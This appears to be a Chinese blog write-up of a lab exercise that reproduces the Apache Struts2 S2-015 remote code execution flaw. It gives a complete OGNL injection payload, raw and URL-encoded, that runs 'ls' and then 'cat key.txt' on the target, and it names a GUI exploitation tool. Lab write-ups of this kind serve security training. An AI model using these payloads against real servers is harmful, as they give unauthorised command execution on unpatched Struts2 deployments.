墨者靶场-Apache Struts2远程代码执行漏洞(S2-015)复现
墨者靶场-Apache Struts2远程代码执行漏洞(S2-015)复现
第一种构建poc
打开题目靶机
输入/${1+1}.action。发现表达式被执行,证明存在漏洞。可以利用rce漏洞
去看漏洞我们可知道
poc:
1 | ${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream()),#q}.action |
之后需要url编码加密
1 | %24%7b%23context%5b%27xwork.MethodAccessor.denyMethodExecution%27%5d%3dfalse%2c%23m%3d%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2c%23m.setAccessible(true)%2c%23m.set(%23_memberAccess%2ctrue)%2c%23q%3d%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27ls%27).getInputStream())%2c%23q%7d.action |
出现回显
我们继续构造payload查看key.txt
1 | ${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat key.txt').getInputStream()),#q}.action |
url加密后
1 | %24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20key.txt%27%29.getInputStream%28%29%29%2C%23q%7D.action |
出现回显
不知道为什么url加密建议使用随波逐流来加密,网站加密可能有问题。
还有第二种方法
第二种使用工具 Struts2.2019.V2.3
打开工具链接复制来
点击验证漏洞,开始运行
点击 ‘命令执行’
选中出现的漏洞编号先
输入命令
ls
并点击执行
继续使用命令
cat key.txt
并执行
问题解决
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Luo 666!